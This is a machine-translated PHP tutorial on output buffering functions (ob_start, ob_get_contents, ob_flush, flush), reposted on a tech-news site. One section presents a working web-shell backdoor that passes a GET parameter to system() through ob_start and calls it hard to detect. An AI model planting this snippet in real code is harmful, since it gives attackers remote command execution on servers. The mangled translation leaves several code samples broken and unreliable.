Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

An example of PHP output buffer control function

2025-01-27 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article introduces the relevant knowledge of "the example explanation of PHP output buffer control function". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Brief introduction

When it comes to output buffering, the first thing to talk about is something called a buffer. Give a simple example to illustrate his role: when we edit a document, the system will not write to disk until we save it, but write to buffer. When buffer is full or perform a save operation, the data will be written to disk. For PHP, every output operation like echo is also written to php buffer first, and the data will not be displayed on the browser until the script is executed or the forced output cache operation is performed.

For PHP programmers, basically every script involves output buffering, but in most cases, we don't need to make changes to the output buffer. Today, we will use an example to do a detailed analysis of the PHP output buffer control function "Output Control".

The following example briefly shows how output buffering exists in a general script:

The copy code is as follows:

Echo 'Apple'

Echo 'IBM'

Echo 'Microsoft'

When we execute the above script, when the script executes the first echo, it will not output the corresponding contents to the browser, but will output to a buffer, and so on, when all three echo have been executed (that is, the script ends), all the buffer contents will be output to the browser. Of course, this buffer also has a size limit, which is set according to the output_buffering option in php.ini, which will be described in more detail in the following article. The output buffer control described in this chapter is to manipulate the contents of the buffer before the end of the script.

The following example can better reflect the application of output buffer control:

The copy code is as follows:

Echo 'Apple'; sleep (2)

Echo 'IBM'; sleep (2)

Echo 'Microsoft'

We need to wait at least 2 seconds to see the output, so can we make it display in real time? That is, the corresponding content will be output when the first echo is finished. At this time, you need to use the output buffer control function to operate the buffer. How to put it aside first will be announced at the end of the article.

Action

1. In PHP, the functions that send header files such as header (), session_start (), setcookie (), etc., cannot have any output, and the output buffer control function can be used to output before these functions without reporting an error. In fact, this is not necessary, a very rare usage.

two。 It is a common function to process the output, such as generating static cache files and compressing the output with gzip.

3. Capture some unavailable function output, such as phpinfo (), var_dump (), etc., these functions will display the results in the browser, and if we want to process these results, it is a good way to use the output buffer control function. The popular point is that none of these functions will have a return value, and to get the output data of these functions, you need to use the output buffer control function.

4. The last application is the real-time output of some data mentioned in the introduction.

Related configuration items in php.ini

Let's take a look at the options related to output buffer control in php.ini, which are: output_buffering, implicit_flush, and output_handler.

1.output_buffering defaults to off, and when set to on, the output buffer is automatically opened in all scripts, that is, the function ob_start () is automatically executed in each script, instead of calling the function as shown. It can also be set to an integer number that represents the maximum number of bytes that can be stored in the buffer, which we mentioned in the following description of example 1.

2.implicit_flush defaults to off, and when set to on, PHP will automatically send out the buffer contents after output. That is, after each piece of output, flush () is executed automatically. Of course, valid output refers not only to functions such as echo and print, but also to the HTML segment.

3.output_handler defaults to null, and its value can only be set to a built-in function name, which is used to process all output of the script with the defined function. Its usage is similar to that of ob_start ('function_name'), which is described below.

In this article, unless otherwise specified, the values of output_buffering, implicit_flush, and output_handler in php.ini are default values.

Detailed explanation of Output Control function

Ob_start ()

Bool ob_start ([callback outputcallback [, intchunk_size [, bool $erase]])

You can also understand the meaning of this function from the name, that is, to open the output buffer for the next step of output buffering. What I want to say here is the use of its parameters. The first parameter passes a callback function that takes the contents of the buffer as a parameter and returns a string. It is called when the buffer is sent out, which means that a function such as ob_flush () has been executed or the script has been executed. The ob_flush () function is described below, and you can understand its usage by looking at a simple example:

The copy code is as follows:

Function dothing1 ($echo_thing) {

Return'. $echo_thing. '#'

}

Ob_start ('dothing1')

Echo 'Apple'

Output result

# Apple#

From the output, you can see that "#" has been added to both sides of the word, that is, when the buffer content is output, the dothing1 function we defined is run.

Let's take a look at a more practical example, that is, it is common to compress web content using gzip before outputting it. The code is as follows:

The copy code is as follows:

Ob_start ()

Echo str_repeat ('Apple', 1024)

Output: without using gzip compression, the output size is 5.2KB.

Output: in the case of gzip compression, the document size is much smaller, and compression takes time, so it takes a long time.

The second parameter, chunk_size, is the byte length of the buffer. If the buffer content is greater than this length, it will be sent out of the buffer. The default value is 0, which means that the function will be called at last. The third parameter, erase, if set to flase, means that the buffer will not be deleted until the script is executed, and an error will be reported if the delete buffer function is executed in advance (mentioned later).

There are only so many uses of ob_start (), but there are two points to pay special attention to:

1.ob_start () can be called repeatedly, that is, there can be multiple buffers in a script, but remember to turn them all off in nesting order, and if multiple ob_start define the first parameter, that is, callback functions, they will be executed in nesting order. The stack nesting of buffers will be described in more detail at the ob_get_level function, which will not be discussed here.

2.ob_start () also has a less obvious but deadly use of backdoors, with the following implementation code:

The copy code is as follows:

$cmd = 'system'

Ob_start ($cmd)

Echo $_ GET ['a']

Ob_end_flush ()

The following output from windows:

14 directories 30970388480 available bytes

If you understand the above usage of ob_start, this code is not difficult to understand. It applies the characteristic that the ob_start function will pass the buffer output as a parameter to the set function, and realizes the remote execution of commands with the authority of the Web server, and should not be found.

Ob_get_contents ()

String ob_get_contents (void)

This function is used to get the contents of the buffer at this time. The following example has a good understanding of its usage:

The copy code is as follows:

Ob_start ('doting2')

Echo 'apple'

$tmp = ob_get_contents ()

File_put_contents ('. / doting2', $tmp)

Ob_end_flush ()

Ob_get_length ()

This function is used to get the length of the buffer contents.

Ob_get_level ()

Int ob_get_level (void)

This function is used to obtain the nesting level of the buffer mechanism. When we introduced the ob_start () function, we said that multiple buffers can be nested in a script, and this function is used to obtain the nesting level of the current buffer. The usage is as follows:

The copy code is as follows:

Ob_start ()

Var_dump (ob_get_level ())

Ob_start ()

Var_dump (ob_get_level ())

Ob_end_flush ()

Ob_end_flush ()

Their nesting relationship can be clearly seen after running.

Ob_get_status ()

Array ob_get_status ([bool $full_status = FALSE])

This function is used to get the status of the current buffer and return an array of status information. If the first parameter is true, an array of details will be returned. We analyze this array with an example:

The copy code is as follows:

Ob_start ('ob_gzhandler')

Var_export (ob_get_status ())

Ob_start ()

Var_export (ob_get_status ())

Ob_end_flush (); ob_end_flush ()

Running result

Array ('level' = > 2,' type' = > 1, 'status' = > 0,' name' = > 'ob_gzhandler',' del' = > true,)

Array ('level' = > 3,' type' = > 1, 'status' = > 0,' name' = > 'default output handler',' del' = > true,)

Description:

1.level is at the nesting level, which is the same as the value obtained through ob_get_level ()

2.type is the processing buffer type, 0 is automatically processed within the system, 1 is handled manually by the user

3.status is buffered. 0 is the start, 1 is in progress, and 2 is the end.

4.name handles the function name for the defined output, that is, the function name passed in the first argument in the ob_start () function

5.del for whether the delete buffer operation has been run

Ob_flush ()

Void ob_flush (void)

The purpose of this function is to "send" the contents of the current buffer while emptying the buffer. It is important to note that the word "send" is used here, that is, calling this function does not output the contents of the buffer. You must then call the flush function before it will output. As for the use of flush, I will talk about it below, and I will not give an example here.

Flush ()

Void flush (void)

This function is quite common and is used to send all the output in front of it to the browser for display without having any effect on the cache. In other words, whether it's the output of a function such as echo, a HTML entity, or the content sent out by running ob_start (), it will be displayed in the browser after running flush ().

The difference between ob_flush () and flush ()

When caching is not turned on, the output of the script is waiting for output on the server side, and flush () can send the content waiting for output to the client immediately. When caching is turned on, the output of the script is stored in the output cache, there is no content waiting for output, and you will not send anything to the client using flush () directly. The function of ob_flush () is to take out the content that originally exists in the output cache and set it to wait for output, but it will not be sent directly to the client. Then you need to use ob_flush () and then use flush () before the client can get the output of the script immediately.

Void ob_implicit_flush ()

This function is used to turn on / off absolute swipe mode, that is, to automatically execute flush () after each output, thus eliminating the need for a displayed call to flush () to improve efficiency.

Other related functions

1.bool ob_end_flush (void)

2.string ob_get_flush (void)

3.void ob_clean (void)

4.bool ob_end_clean (void)

5.string ob_get_clean (void)

Output some data in real time

I believe that after reading the above, you will have a better understanding of the buffer control function of PHP. Now let's go back to the problem left in the introduction: let the script in example 2 display the content in real time without having to wait 4 seconds for everything to appear.

We can write it in several different ways depending on whether the cache is turned on or not. If you cannot achieve the desired results during the test, you can insert str_repeat (', 1024) in header ('content-type:text/html;charset=utf-8') below. You can also try a larger value, and even if some browsers do so, it may not work, so you can try to put the php code into the complete html code block body. The header ('content-type:text/html;charset=utf-8') of the following code; don't omit it, or some browsers won't see the effect.

The copy code is as follows:

Ob_start (''); / / I use ob_start ('ob_gzhandler') here has no effect

Header ('content-type:text/html;charset=utf-8')

Echo 'Apple #'

Ob_flush (); flush ()

Sleep (2)

Echo 'IBM #'

Ob_flush (); flush ()

Sleep (2)

Echo 'Microsoft'

This is the end of the introduction of "the example explanation of PHP output buffer control function". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report